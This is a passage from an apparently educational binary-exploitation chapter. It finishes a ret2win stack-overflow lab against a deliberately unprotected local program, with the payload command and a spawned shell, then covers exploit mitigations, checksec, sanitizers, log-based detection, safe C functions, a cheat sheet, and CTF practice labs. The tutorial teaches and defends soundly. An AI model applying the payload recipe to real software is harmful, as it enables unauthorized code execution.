python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + (0x401176).to_bytes(8,'little'))" > payloadxxd payload | tail -1# 00000040: 4141 4141 4141 4141 7611 4000 0000 0000 AAAAAAAAv.@.....# ^^^^^^^^^^^^^^^^ win() addr, little-endianNote 76 11 40 00 00 00 00 00 — the address 0x401176 written least-significant byte first,
exactly as Part 3 (endianness) warned.
Step 6 — land the shell
Section titled “Step 6 — land the shell”# feed the payload, then keep stdin open so the spawned /bin/sh stays interactive(cat payload; cat) | ./vulnOutput:
Enter your name: Hello, AAAAAAAA...AAAAv@[+] win() reached — you controlled RIP!iduid=1000(kali) gid=1000(kali) groups=1000(kali)...whoamikaliwin() was never called in the source — main() only calls vuln(). Yet it ran, because we
overwrote the saved return address so that vuln()’s ret jumped into win() instead of back to
main(). That is a working ret2win exploit, and it is the seed from which ret2libc and full
ROP grow. Everything you just did was pure manipulation of the stack frame from Part 8.
Step 7 — verify the mechanism in the disassembly
Section titled “Step 7 — verify the mechanism in the disassembly”Confirm the offset independently by reading the frame setup:
gef➤ disassemble vuln 0x401200 <+0>: push rbp 0x401201 <+1>: mov rbp,rsp 0x401204 <+4>: sub rsp,0x40 <- 0x40 = 64 bytes for buffer ... 0x401211 <+17>: lea rax,[rbp-0x40] <- buffer is at rbp-0x40 0x401215 <+21>: mov rdi,rax 0x401218 <+24>: call 0x401060 <gets> <- the vulnerable call ... 0x40124a <+74>: leave 0x40124b <+75>: ret <- pops our overwritten return addr into ripbuffer at rbp-0x40 (64 bytes) + 8 bytes of saved RBP = 72 bytes before the slot that ret
consumes. The debugger, the cyclic pattern, and the disassembly all agree. That triangulation —
crash, measure, read the assembly, confirm — is exactly the workflow of real vulnerability triage.
Part 11: Real-World Application — This Bug Class in Production Software
Section titled “Part 11: Real-World Application — This Bug Class in Production Software”The toy above is not a toy phenomenon. The same primitive, dressed in more complexity, is behind some of the most consequential vulnerabilities in computing history:
- The Morris Worm (1988) propagated partly through a stack buffer overflow in the
fingerddaemon’s use ofgets()— the exact function in our lab. It’s the canonical first internet worm. - CVE-2014-0160 “Heartbleed” was an over-read (not a stack smash) in OpenSSL: a missing length check let an attacker request more bytes than a buffer held, leaking adjacent heap memory — private keys, session cookies. It’s the poster child for “C doesn’t check your lengths.”
- CVE-2017-0144 “EternalBlue” was a memory-corruption bug in Windows SMBv1 (a buffer mis-sizing) weaponized into remote code execution and used by WannaCry and NotPetya. Nation-state impact from a length-handling mistake in C.
- CVE-2021-3156 “Baron Samedit” was a heap buffer overflow in
sudoreachable by any local user, giving root — ten years latent in code, in one of the most audited setuid binaries on Linux. - Countless IoT/router CVEs every year are stack overflows in C daemons parsing network input
with
strcpy/sprintfand no bounds check — the low end of the same spectrum, and a rich bug-bounty and CTF vein.
The through-line: a C program trusted a length or a terminator it shouldn’t have, wrote past a
buffer, and corrupted memory the way our vuln did. The difference between the lab and a CVE is
mitigations and reachability, not mechanism. Which brings us to the defense.
Pentester/researcher landing on a native target: the first pass is always (1) identify the
architecture and protections (checksec), (2) grep the disassembly for dangerous sinks
(gets, strcpy, sprintf, memcpy, read into a fixed buffer), (3) trace attacker-controlled
input to one of those sinks, (4) reproduce a crash, (5) measure the offset, (6) assess which
mitigations are in the way. Steps 4–6 are exactly Part 10.
Part 12: Detection & Defense Angle
Section titled “Part 12: Detection & Defense Angle”The lab worked because we compiled every protection off. On a modern system, several mitigations stand between a textbook overflow and code execution. A defender’s job is to understand each one — what it stops, what it doesn’t, and how to enable it — and to use the tooling that finds these bugs before an attacker does. This is the consolidated defensive section for the chapter.
The four core exploit mitigations
Section titled “The four core exploit mitigations”flowchart TD
O["Attacker overflows a stack buffer"] --> C1{"Stack canary present?"}
C1 -->|"yes"| K["Canary clobbered → __stack_chk_fail → abort<br/>(overflow detected on return)"]
C1 -->|"no / leaked"| C2{"Return addr reachable & known?"}
C2 -->|"ASLR randomizes addresses"| L["Attacker must leak an address first"]
C2 -->|"known (no PIE / leak)"| C3{"Is injected shellcode executable?"}
C3 -->|"NX/DEP: stack is non-exec"| R["Can't run stack shellcode →<br/>must use ROP / ret2libc"]
C3 -->|"exec stack (legacy)"| S["Classic shellcode executes"]
| Mitigation | What it does | What defeats/limits it | Compiler/OS control |
|---|---|---|---|
| Stack canary (SSP) | random value placed between locals and saved RIP; checked on return; abort if changed | info leak of the canary; non-linear/targeted writes that skip it | -fstack-protector-strong (gcc) — on by default on most distros |
NX / DEP (W^X) | stack & heap marked non-executable; code pages non-writable | ROP / ret2libc (reuse existing executable code) | on by default; -z execstack disables (don’t) |
| ASLR | randomizes stack, heap, libc, (and text if PIE) base addresses each run | info-leak primitive; partial-overwrite; low entropy on 32-bit | kernel: /proc/sys/kernel/randomize_va_space = 2 |
| PIE | makes the executable itself position-independent so .text is randomized too | leak of a code address | -fPIE -pie (gcc) — default on modern distros |
| RELRO | makes the GOT read-only after startup | partial RELRO leaves GOT writable | -Wl,-z,relro,-z,now (full RELRO) |
| FORTIFY_SOURCE | compile-time + runtime checks on memcpy/sprintf/etc. | only where sizes are known at compile time | -D_FORTIFY_SOURCE=2 -O2 |
checksec — reading a binary’s protections in one command
Section titled “checksec — reading a binary’s protections in one command”checksec (from the pwntools suite, or the standalone script) inspects an ELF and reports which
mitigations are compiled in. It’s the first command in any binary assessment — offensive or
defensive:
pip install pwntools # provides the `pwn checksec` commandpwn checksec vulnArch: amd64-64-littleRELRO: No RELROStack: No canary found <- because we built with -fno-stack-protectorNX: NX disabled <- because of -z execstackPIE: No PIE (0x400000) <- because of -no-pieCompare a hardened build of the same source:
gcc vuln.c -o vuln_hardened -O2 -D_FORTIFY_SOURCE=2 -fstack-protector-strong \ -fPIE -pie -Wl,-z,relro,-z,nowpwn checksec vuln_hardenedRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledSame C, radically different attack surface. The ret2win from Part 10 fails against the hardened
build: the canary aborts the process on overflow, PIE+ASLR hide win()’s address, and NX blocks
stack shellcode. This table is the single most useful defensive takeaway of the chapter — as a
blue-teamer or a developer, shipping with the right column is most of the battle.
Finding the bug before shipping — sanitizers and dynamic analysis
Section titled “Finding the bug before shipping — sanitizers and dynamic analysis”You don’t have to wait for a crash in production. Two tools catch memory-corruption bugs during testing:
AddressSanitizer (ASan) — a compiler instrumentation that detects overflows, use-after-free, and more, at the exact moment they happen, with a full stack trace. It’s the modern default for fuzzing and CI:
gcc -g -fsanitize=address vuln.c -o vuln_asanpython3 -c "print('A'*200)" | ./vuln_asan==12345==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc...WRITE of size 201 at 0x7ffc... thread T0 #0 ... in gets #1 ... in vuln vuln.c:13 #2 ... in main vuln.c:22Address 0x7ffc... is located in stack of thread T0 at offset 64 in frame This frame has 1 object(s): [32, 96) 'buffer' <== Memory access at offset 64 overflows this variableASan names the exact variable (buffer), the exact source line (vuln.c:13), and that the write
overflowed at offset 64 — turning a mysterious segfault into a precise bug report.
Valgrind (memcheck) — runs an un-instrumented binary on a synthetic CPU and flags invalid memory access, leaks, and use of uninitialized values. Slower than ASan and weaker on stack overflows, but needs no recompile:
valgrind --leak-check=full ./someprogram# ==PID== Invalid write of size 1# ==PID== at 0x...: function (file.c:NN)# ==PID== 40 bytes in 1 blocks are definitely lost <- a leakDetection at runtime and in the SOC
Section titled “Detection at runtime and in the SOC”- The crash itself is a signal. A daemon segfaulting on attacker input is a classic
exploitation-attempt indicator. On Linux,
dmesg/journalctllog segfaults with the faulting address:vuln[12345]: segfault at 4141414141414141 ip ... sp .... A faulting address of repeating0x41/0x90/high-entropy bytes screams overflow attempt. - Core dumps (
/var/crash,coredumpctl) preserve the corrupted stack for post-incident triage — the same GDB workflow from Part 10, applied to a real crash. __stack_chk_fail/*** stack smashing detected ***in logs means a canary caught an overflow — treat it as a probable exploitation attempt, not a mere bug.- EDR / exploit-guard technologies (CFG/CET on Windows, kernel
hardened_usercopy, shadow stacks) add control-flow integrity so that even a corrupted return address can’t redirect to an arbitrary target. Modern CPUs ship CET shadow stacks that keep a protected copy of return addresses and fault on mismatch — a hardware answer to exactly the Part 10 attack.
Defensive coding — kill the bug at the source
Section titled “Defensive coding — kill the bug at the source”The cheapest defense is not writing the bug:
// BAD: unbounded, trusts input lengthchar buf[64];gets(buf); // never — removed from C11strcpy(buf, attacker_input); // no size awareness
// GOOD: bounded, size always tied to the bufferchar buf[64];fgets(buf, sizeof buf, stdin); // reads at most sizeof(buf)-1, always NUL-terminatessnprintf(buf, sizeof buf, "%s", attacker_input); // truncates safelyAnd structurally: prefer memory-safe languages (Rust, Go) for new network-facing parsers; compile
C with the hardened flag set above; fuzz with ASan in CI; and treat every memcpy/strcpy whose
length is influenced by input as a code-review must-check.
Part 13: Common Mistakes & How to Avoid Them
Section titled “Part 13: Common Mistakes & How to Avoid Them”| Mistake | Symptom | Fix |
|---|---|---|
Forgetting the \0 terminator space | strlen reads past the buffer; off-by-one | size buffers as len + 1; use snprintf |
Off-by-one in a loop bound (<= vs <) | writes one element past the array | loop for (i=0; i<n; i++); review boundaries |
Using sizeof(ptr) instead of the buffer size | sizeof of a pointer is 8, not the array length | keep the size in a variable; sizeof(arr) only works on real arrays in scope |
Ignoring malloc returning NULL | NULL deref crash under memory pressure | always check if (!p) ... |
| Mixing signed/unsigned in length checks | negative length becomes huge size_t | use size_t for sizes; check both bounds |
Assuming int is 4 or long is 8 everywhere | portability bug; overflow on other platforms | use <stdint.h> fixed-width types (uint32_t) |
Reading /proc/self/maps addresses and hardcoding them | breaks under ASLR | never hardcode; leak at runtime |
| Testing overflows without ASan | subtle corruption goes unnoticed until prod | compile tests with -fsanitize=address |
| Wrong endianness in a payload address | exploit “silently fails,” jumps to garbage | write addresses little-endian (p64() / to_bytes(8,'little')) |
Debugging an -O2 build and confused by the layout | inlining/reordering hides the frame | learn on -O0 -g; then graduate to optimized builds |
Part 14: Final Revision / Summary
Section titled “Part 14: Final Revision / Summary”- C is portable assembly. A type is just “how many bytes and how to interpret them.”
int=4,long/pointer/size_t=8 on x86-64 Linux; confirm withsizeof. Signed↔unsigned confusion and wrong-width assumptions are their own bug classes. - The compilation pipeline is preprocess → compile → assemble → link. Build flags decide
exploitability; a learning build turns protections off (
-fno-stack-protector -no-pie -z execstack -g -O0), a shipping build turns them on. - A pointer is a variable holding an address.
&takes an address,*follows one. Pointer arithmetic is scaled by the pointed-to type, anda[i] == *(a+i)— which is exactly why array indexing isn’t bounds-checked. - Arrays and strings are raw bytes. A C string is a
chararray ending in\0.gets,strcpy,sprintf,strcat, unboundedscanf("%s")are the overflow-causing sinks — memorize them. - The process address space runs
.text(r-x) /.data/.bss/ heap(grows ↑) / mmap+libs / stack(grows ↓)./proc/<pid>/mapsshows it live;[stack]isrw-(NX). - The stack grows down;
rsp= top,rbp= frame base. A function call pushes a return address; the prologue (push rbp; mov rbp,rsp; sub rsp,N) builds a frame; the epilogue (leave; ret) tears it down and pops the return address intorip. - A stack overflow overwrites, in order, the buffer → saved RBP → saved return address. Control the return address and you control execution (ret2win → ret2libc → ROP). Find the offset with a cyclic pattern; write the target address little-endian.
- Mitigations — canary, NX/DEP, ASLR, PIE, RELRO, FORTIFY, CET shadow stacks — each block part
of the chain.
checksecreads them; ASan/Valgrind find the bugs pre-ship; hardened compiler flags and bounded functions kill them at the source.
Part 15: Cheat Sheet / Quick Reference
Section titled “Part 15: Cheat Sheet / Quick Reference”Build (learning vs hardened)
# learning / exploitablegcc -g -O0 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln# hardened / productiongcc -O2 -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIE -pie \ -Wl,-z,relro,-z,now vuln.c -o appInspect the pipeline
gcc -E f.c -o f.i # preprocess gcc -S f.c # -> assemblygcc -c f.c -o f.o # assemble objdump -d f.o # disassembleType sizes (x86-64 Linux): char1 short2 int4 long8 long long8 float4 double8
void*8 size_t8. Endianness: little (LSB first).
Pointers: &x = address-of · *p = dereference · p+1 advances sizeof(*p) bytes ·
a[i] == *(a+i).
Address-space map (low→high): .text(r-x) → .rodata → .data/.bss → heap↑ → mmap/libs →
stack↓. View: cat /proc/<pid>/maps.
Stack frame (after prologue): [buffer] [saved rbp] [saved return addr] at increasing
addresses. Overflow offset to RIP = buffer size + 8 (saved rbp).
Dangerous → safe: gets→fgets · strcpy→strlcpy · strcat→strlcat ·
sprintf→snprintf · scanf("%s")→scanf("%63s").
GDB/GEF essentials
b vuln ; run ; i r ; x/40xg $rsp ; disassemble vulnpattern create 120 ; pattern offset $rsp ; p winDefensive triage
pwn checksec ./bin # what protections are on?gcc -fsanitize=address ... # catch the bug with a stack tracevalgrind --leak-check=full ./bin # leaks & invalid access, no recompilePayload math (ret2win): b'A'*offset + p64(target_addr) — address little-endian.
Part 16: Practice Labs & Resources
Section titled “Part 16: Practice Labs & Resources”Work these in order; each trains a piece of this chapter directly:
- pwn.college — “Program Interaction” and “Memory Errors” modules. The best free, structured path from “what is a process” through your first stack overflows, with a grader. Start here.
- PicoCTF — Binary Exploitation category (
buffer overflow 0/1/2/3).buffer overflow 0is a crash-to-win;1is ret2win exactly like Part 10;2/3add arguments and ASLR. Ideal first CTF challenges for this material. - PicoCTF — Reverse Engineering (
GDB baby steps,assemblychallenges) to cement reading disassembly and driving GDB. - OverTheWire — Narnia. A wargame dedicated to classic C memory-corruption (overflows, format strings, integer bugs) on a real remote host. Narnia0–2 map onto this chapter.
- Nightmare (guyinatuxedo) — “Stack” chapters. A free, deeply worked binary-exploitation course; its early stack-overflow and ret2win writeups mirror the Part 10 lab with real binaries.
- exploit.education — Phoenix (stack-zero … stack-five). Purpose-built vulnerable programs that walk the exact overflow → saved-RBP → return-address progression, with source provided.
- CryptoPals is not this — for memory work stick to the pwn/RE tracks above.
- Reading: Hacking: The Art of Exploitation (Erickson), ch. on the stack; the classic “Smashing The Stack For Fun And Profit” (Aleph One) — dated but foundational; and the LiveOverflow “Binary Exploitation / memory corruption” YouTube playlist for a visual walkthrough.
Suggested drills
- Rebuild the Part 10
vulnwith-fstack-protector-strongand confirm with GDB that the overflow now triggers*** stack smashing detected ***instead of a clean RIP overwrite. - Turn ASLR off (
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space), then back on (2), and observe howp win/ libc base addresses change between runs. - Write a 20-line program that reads a length as a signed
intandmemcpys that many bytes; trigger the integer-signedness bug from Part 3 and catch it with AddressSanitizer. - Run
pwn checksecon five binaries in/usr/binand note which mitigations real distro tools ship with by default on a current system.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.